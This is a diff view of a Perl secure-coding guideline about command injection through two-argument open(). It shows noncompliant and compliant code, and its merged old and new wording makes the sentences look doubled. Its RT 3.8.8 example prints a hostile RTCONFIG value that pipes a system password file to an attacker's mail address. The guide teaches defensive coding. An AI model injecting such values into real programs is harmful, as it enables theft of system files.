Versions Compared

Key

  • This line was added.
  • This line was removed.
  • Formatting was changed.

...

If the MODE argument is provided , (that is, if open() is given three or more arguments), the MODE argument indicates if the file is opened for input or output. It can also indicate that rather than opening a file, the system should execute a shell command , and treat it as an input file or an output file. If the two-argument form is used, the EXPR should contain both the MODE argument and filename file name to be opened , or shell command to be executed.

If an attacker is able to can provide a filename file name argument to be used in the two-argument form of open(), they the attacker can instead provide a shell command, which gets executed by the program.

...

Code Block
bgColor#ffcccc
langperl
my $filename = # initialize
open( FILE, $filename) or croak("file not found");
while (<FILE>) {
  print "$file: $_";
};

While Although this code clearly expects its file to be opened for reading, the filename file name might indicate a shell command. It might also indicate a file to be written , rather than read.

Noncompliant Code Example

This noncompliant code example attempts to mitigate the problem by prepending a < to the filenamefile name.

Code Block
bgColor#ffcccc
langperl
my $filename = # initialize
open( FILE, "<$filename") or croak("file not found");
while (<FILE>) {
  print "$file: $_";
};

If $filename begins or ends with |, the preceding < forces it to be treated as a file name , rather than a shell command.
This code will not execute a shell command. However, an attacker could cause a program to hang by supplying - as the filenamefile name. This is interpreted by open() as reading standard input.

...

This code suffers from the same vulnerability as the first noncompliant code example. The <> operator opens every file provided in the @ARGV array , and returns a line from each file. If any element of @ARGV begins or ends with |, it will be interpreted as a shell command and executed. In this manner, the <> operator acts excatly exactly like the two-argument form of open().

...

This code suffers from the same vulnerability as the previous noncompliant code example. The -n argument instructs Perl to open every file in the command line (in this case, every file in the current directory) , and return a line from each file. If any argument in the command begins or ends with |, it will be interpreted as a shell command and executed. In this manner, the -n operator acts excatly exactly like the two-argument form of open().

...

This code suffers from the same vulnerability as the previous noncompliant code example. The -p argument instructs Perl to open every file in the command line (in this case, every file in the current directory) , and return a line from each file. Unlike -n, -p also instructs Perl to print the line read (stored in $_) at the end of each iteration of its implicit loop. If any argument in the command begins or ends with |, it will be interpreted as a shell command and executed. In this manner, the -n operator acts excatly exactly like the two-argument form of open().

...

This compliant solution invokes open() with three arguments , rather than two.

Code Block
bgColor#ccccff
langperl
my $filename = # initialize
open( FILE, "<", $filename) or croak("file not found");
while (<FILE>) {
  print "$file: $_";
};

The three-argument invocations of open() are not subject to the same vulnerabilities as the two-argument open(). In this code, $filename is treated as a file name , even if it contains characters that are treated specially by the two-argument open() function. For example, if $filename is specified as -, then the three-argument open() attempts to open a file name named -, rather than opening standard input.

Noncompliant Code Example (RT 3.8.8)

The RT (request Request Tracker) software contains the following code in the bin/rt file:

...

This subroutine is called by the subroutine config_from_file, which is itself invoked ofrom from the following:

Code Block
langperl
config_from_file($ENV{RTCONFIG} || ".rtrc"),

Since Because any user can invoke the rt executable with environment variables they controlhe or she controls, a hostile user may set the RTCONFIG environment variable to a malicious command, such as:

Code Block
bgColor#ffcccc
	cat /etc/password | mail some@badguy.net |

The final | indicates to Perl that this is a shell command. When passed to the two-argument form of open(), Perl executes the command.

...

Code Block
bgColor#ccccff
langperl
sub parse_config_file {
    my %cfg;
    my ($file) = @_;
    local $_; # $_ may be aliased to a constant, from line 1163

    open(CFG, "<", $file) && do {

This will cause code causes $file to be treated as a filename file name regardless of what special characters it might contain.

...